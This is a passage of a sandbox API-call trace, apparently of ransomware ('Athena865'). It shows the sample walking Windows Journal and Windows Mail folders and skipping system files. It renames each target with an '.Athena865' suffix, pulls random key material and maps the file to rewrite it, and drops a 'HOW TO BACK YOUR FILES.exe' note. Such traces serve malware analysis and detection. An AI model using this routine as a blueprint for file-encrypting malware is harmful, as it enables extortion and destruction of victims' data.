Flags=0x8, Size=0x80) returned 0x518f80 [0090.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.725] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.725] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.725] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa260, lpName=0x0) returned 0x154 [0090.727] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa260) returned 0x100000 [0090.729] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.730] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.730] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.731] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.731] CloseHandle (hObject=0x154) returned 1 [0090.731] CloseHandle (hObject=0x17c) returned 1 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.732] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="..") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="windows") returned -1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="bootmgr") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="temp") returned -1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="pagefile.sys") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="boot") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="ids.txt") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="ntuser.dat") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="perflogs") returned 1 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2="MSBuild") returned 1 [0090.732] lstrlenW (lpString="Seyes.jtp") returned 9 [0090.732] lstrcpyW (in: lpString1=0x241e89e, lpString2="Seyes.jtp" | out: lpString1="Seyes.jtp") returned="Seyes.jtp" [0090.732] lstrlenW (lpString="Seyes.jtp") returned 9 [0090.732] lstrlenW (lpString="Athena865") returned 9 [0090.732] lstrlenW (lpString=".dll") returned 4 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".dll") returned 1 [0090.732] lstrlenW (lpString=".lnk") returned 4 [0090.732] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".lnk") returned 1 [0090.732] lstrlenW (lpString=".ini") returned 4 [0090.733] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".ini") returned 1 [0090.733] lstrlenW (lpString=".sys") returned 4 [0090.733] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".sys") returned 1 [0090.733] lstrlenW (lpString="Seyes.jtp") returned 9 [0090.733] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp.Athena865") returned 62 [0090.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp.athena865"), dwFlags=0x1) returned 1 [0090.734] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.734] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43354) returned 1 [0090.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.735] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.736] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.736] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.736] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac60, lpName=0x0) returned 0x154 [0090.738] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac60) returned 0x100000 [0090.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.741] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.741] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.742] CloseHandle (hObject=0x154) returned 1 [0090.742] CloseHandle (hObject=0x17c) returned 1 [0090.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.743] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="..") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="windows") returned -1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="bootmgr") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="temp") returned -1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="pagefile.sys") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="boot") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="ids.txt") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="ntuser.dat") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="perflogs") returned 1 [0090.743] lstrcmpiW (lpString1="Shorthand.jtp", lpString2="MSBuild") returned 1 [0090.743] lstrlenW (lpString="Shorthand.jtp") returned 13 [0090.743] lstrcpyW (in: lpString1=0x241e89e, lpString2="Shorthand.jtp" | out: lpString1="Shorthand.jtp") returned="Shorthand.jtp" [0090.743] lstrlenW (lpString="Shorthand.jtp") returned 13 [0090.744] lstrlenW (lpString="Athena865") returned 9 [0090.744] lstrcmpiW (lpString1="thand.jtp", lpString2="Athena865") returned 1 [0090.744] lstrlenW (lpString=".dll") returned 4 [0090.744] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".dll") returned 1 [0090.744] lstrlenW (lpString=".lnk") returned 4 [0090.744] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".lnk") returned 1 [0090.744] lstrlenW (lpString=".ini") returned 4 [0090.744] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".ini") returned 1 [0090.744] lstrlenW (lpString=".sys") returned 4 [0090.744] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".sys") returned 1 [0090.744] lstrlenW (lpString="Shorthand.jtp") returned 13 [0090.744] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp.Athena865") returned 66 [0090.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp.athena865"), dwFlags=0x1) returned 1 [0090.745] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.745] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87898) returned 1 [0090.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.746] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.747] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.747] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.747] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a60, lpName=0x0) returned 0x154 [0090.748] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a60) returned 0x100000 [0090.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.755] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.755] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.757] CloseHandle (hObject=0x154) returned 1 [0090.757] CloseHandle (hObject=0x17c) returned 1 [0090.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.757] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0090.757] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.757] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.757] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".") returned 1 [0090.757] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="..") returned 1 [0090.757] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="windows") returned -1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="bootmgr") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="temp") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="pagefile.sys") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="boot") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="ids.txt") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="ntuser.dat") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="perflogs") returned 1 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="MSBuild") returned 1 [0090.758] lstrlenW (lpString="To_Do_List.jtp") returned 14 [0090.758] lstrcpyW (in: lpString1=0x241e89e, lpString2="To_Do_List.jtp" | out: lpString1="To_Do_List.jtp") returned="To_Do_List.jtp" [0090.758] lstrlenW (lpString="To_Do_List.jtp") returned 14 [0090.758] lstrlenW (lpString="Athena865") returned 9 [0090.758] lstrcmpiW (lpString1="_List.jtp", lpString2="Athena865") returned -1 [0090.758] lstrlenW (lpString=".dll") returned 4 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".dll") returned 1 [0090.758] lstrlenW (lpString=".lnk") returned 4 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".lnk") returned 1 [0090.758] lstrlenW (lpString=".ini") returned 4 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".ini") returned 1 [0090.758] lstrlenW (lpString=".sys") returned 4 [0090.758] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".sys") returned 1 [0090.758] lstrlenW (lpString="To_Do_List.jtp") returned 14 [0090.758] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp.Athena865") returned 67 [0090.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp.athena865"), dwFlags=0x1) returned 1 [0090.760] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.760] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32602) returned 1 [0090.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.760] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.761] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.761] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.761] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8260, lpName=0x0) returned 0x154 [0090.763] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8260) returned 0x100000 [0090.766] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.767] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.767] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.768] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.768] CloseHandle (hObject=0x154) returned 1 [0090.768] CloseHandle (hObject=0x17c) returned 1 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.769] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0090.769] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.769] ReleaseMutex (hMutex=0xec) returned 1 [0090.769] CloseHandle (hObject=0xec) returned 1 [0090.769] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0090.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5172f8 | out: hHeap=0x4f0000) returned 1 [0090.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3f8 | out: hHeap=0x4f0000) returned 1 [0090.769] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35 [0090.769] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C19A6A2834E83B0C9FDE942F9D0F10EC") returned 0xec [0090.769] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.769] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0090.769] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.769] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.770] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.770] GetLastError () returned 0x0 [0090.770] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.770] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.771] CloseHandle (hObject=0xf4) returned 1 [0090.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.771] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbf5322e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.771] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.771] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.771] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, 